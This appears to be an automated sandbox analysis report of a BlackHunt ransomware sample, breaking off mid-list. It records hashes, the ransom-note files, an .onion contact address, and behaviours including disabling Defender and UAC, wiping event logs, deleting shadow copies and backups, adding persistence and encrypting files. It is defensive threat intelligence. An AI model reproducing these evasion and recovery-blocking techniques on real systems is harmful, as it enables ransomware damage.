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Analysis
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max time kernel
118s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 00:39
Static task
static1
Behavioral task
behavioral1
Sample
b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe
Resource
win10v2004-20231215-en
General
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Target
b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe
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Size
707KB
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MD5
ac928fe1a769b639fe9cdb29ebdacf66
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SHA1
1c4b6319cf226d237485abeaef32ef53ef675cf8
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SHA256
b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc
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SHA512
c613553e8ee96a8120d160d5b6a9e7df5fe145d067c6fd2d5ff43d7a3c9f54effeceb8a7453e01188f5c93cd7cceec9b675da0416019d25c18aff0f728e378ba
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1x8Dvnh:6uaTmkZJ+naie5OTamgEoKxLWcjh
Malware Config
Extracted
C:\Program Files\DVD Maker\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2456 fsutil.exe 1812 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3060 wevtutil.exe 2608 wevtutil.exe 3760 wevtutil.exe 3256 wevtutil.exe 336 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 840 bcdedit.exe 324 bcdedit.exe 1776 bcdedit.exe 1164 bcdedit.exe -
Renames multiple (2913) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2096 wbadmin.exe 3392 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Deletes itself 1 IoCs
pid Process 1724 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\S: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\Z: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\T: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\K: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\Q: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\P: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\G: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\X: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\U: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\O: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\L: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\E: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\V: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\W: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\Y: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\N: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\R: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\H: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\I: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\J: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened (read-only) \??\B: b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+10 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\main.css b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\plugins\video_filter\#BlackHunt_Private.key b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\VDKHome\ENU\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-autoupdate-services.jar b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\af\LC_MESSAGES\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\#BlackHunt_Private.key b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.felix.gogo.runtime_0.10.0.v201209301036.jar b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\plugins\d3d11\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\license.html b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\status.json b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\plugins\codec\#BlackHunt_Private.key b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-core-multiview.xml b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Inuvik b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#BlackHunt_Private.key b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-10 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Jerusalem b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_Private.key b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\DVD Maker\fr-FR\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationLeft_ButtonGraphic.png b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring-impl.xml b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Aqtobe b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Samara b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services.nl_zh_4.4.0.v20140623020002.jar b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-charts.xml b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jre7\lib\classlist b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\ckb\LC_MESSAGES\#BlackHunt_Private.key b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\#BlackHunt_Private.key b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\AccessBridgePackages.h b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\#BlackHunt_Private.key b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Europe\Prague b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-10 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jre7\lib\zi\Africa\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Cocos b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\intf\http.luac b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-heapwalker.jar b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\PDDom.api b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\dropins\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jvmticmlr.h b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Phoenix b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.extensionlocation.nl_ja_4.4.0.v20140623020002.jar b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Tahiti b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guatemala b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\feature.properties b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe File created C:\Program Files\Java\jre7\lib\management\#BlackHunt_ReadMe.hta b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1724 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2260 vssadmin.exe 2116 vssadmin.exe 2928 vssadmin.exe 3312 vssadmin.exe 2720 vssadmin.exe 2428 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 1468 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 3652 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1636 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe Token: SeRestorePrivilege 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe Token: SeBackupPrivilege 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe Token: SeTakeOwnershipPrivilege 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe Token: SeAuditPrivilege 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe Token: SeSecurityPrivilege 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe Token: SeIncBasePriorityPrivilege 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe Token: SeBackupPrivilege 1756 vssvc.exe Token: SeRestorePrivilege 1756 vssvc.exe Token: SeAuditPrivilege 1756 vssvc.exe Token: SeBackupPrivilege 2696 wbengine.exe Token: SeRestorePrivilege 2696 wbengine.exe Token: SeSecurityPrivilege 2696 wbengine.exe Token: SeSecurityPrivilege 3256 wevtutil.exe Token: SeBackupPrivilege 3256 wevtutil.exe Token: SeSecurityPrivilege 3760 wevtutil.exe Token: SeBackupPrivilege 3760 wevtutil.exe Token: SeSecurityPrivilege 3060 wevtutil.exe Token: SeBackupPrivilege 3060 wevtutil.exe Token: SeSecurityPrivilege 336 wevtutil.exe Token: SeBackupPrivilege 336 wevtutil.exe Token: SeSecurityPrivilege 2608 wevtutil.exe Token: SeBackupPrivilege 2608 wevtutil.exe Token: SeDebugPrivilege 1468 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1996 wrote to memory of 2820 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 29 PID 1996 wrote to memory of 2820 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 29 PID 1996 wrote to memory of 2820 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 29 PID 1996 wrote to memory of 2820 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 29 PID 1996 wrote to memory of 1644 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 31 PID 1996 wrote to memory of 1644 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 31 PID 1996 wrote to memory of 1644 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 31 PID 1996 wrote to memory of 1644 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 31 PID 1996 wrote to memory of 2296 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 36 PID 1996 wrote to memory of 2296 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 36 PID 1996 wrote to memory of 2296 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 36 PID 1996 wrote to memory of 2296 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 36 PID 2820 wrote to memory of 2552 2820 cmd.exe 33 PID 2820 wrote to memory of 2552 2820 cmd.exe 33 PID 2820 wrote to memory of 2552 2820 cmd.exe 33 PID 1996 wrote to memory of 2592 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 35 PID 1996 wrote to memory of 2592 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 35 PID 1996 wrote to memory of 2592 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 35 PID 1996 wrote to memory of 2592 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 35 PID 1996 wrote to memory of 2640 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 38 PID 1996 wrote to memory of 2640 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 38 PID 1996 wrote to memory of 2640 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 38 PID 1996 wrote to memory of 2640 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 38 PID 1996 wrote to memory of 2632 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 40 PID 1996 wrote to memory of 2632 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 40 PID 1996 wrote to memory of 2632 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 40 PID 1996 wrote to memory of 2632 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 40 PID 1996 wrote to memory of 2576 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 42 PID 1996 wrote to memory of 2576 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 42 PID 1996 wrote to memory of 2576 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 42 PID 1996 wrote to memory of 2576 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 42 PID 1644 wrote to memory of 2560 1644 cmd.exe 44 PID 1644 wrote to memory of 2560 1644 cmd.exe 44 PID 1644 wrote to memory of 2560 1644 cmd.exe 44 PID 1996 wrote to memory of 2684 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 45 PID 1996 wrote to memory of 2684 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 45 PID 1996 wrote to memory of 2684 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 45 PID 1996 wrote to memory of 2684 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 45 PID 1996 wrote to memory of 2476 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 46 PID 1996 wrote to memory of 2476 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 46 PID 1996 wrote to memory of 2476 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 46 PID 1996 wrote to memory of 2476 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 46 PID 2592 wrote to memory of 2692 2592 cmd.exe 48 PID 2592 wrote to memory of 2692 2592 cmd.exe 48 PID 2592 wrote to memory of 2692 2592 cmd.exe 48 PID 1996 wrote to memory of 2704 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 49 PID 1996 wrote to memory of 2704 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 49 PID 1996 wrote to memory of 2704 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 49 PID 1996 wrote to memory of 2704 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 49 PID 1996 wrote to memory of 2468 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 50 PID 1996 wrote to memory of 2468 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 50 PID 1996 wrote to memory of 2468 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 50 PID 1996 wrote to memory of 2468 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 50 PID 2296 wrote to memory of 2556 2296 cmd.exe 52 PID 2296 wrote to memory of 2556 2296 cmd.exe 52 PID 2296 wrote to memory of 2556 2296 cmd.exe 52 PID 1996 wrote to memory of 2716 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 53 PID 1996 wrote to memory of 2716 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 53 PID 1996 wrote to memory of 2716 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 53 PID 1996 wrote to memory of 2716 1996 b87335553543a329f69cc8784d7917cdb34dd7d9ea2ac625c4f714083be5e9cc.exe 53 PID 1996 wrote to memory of 2496 1996 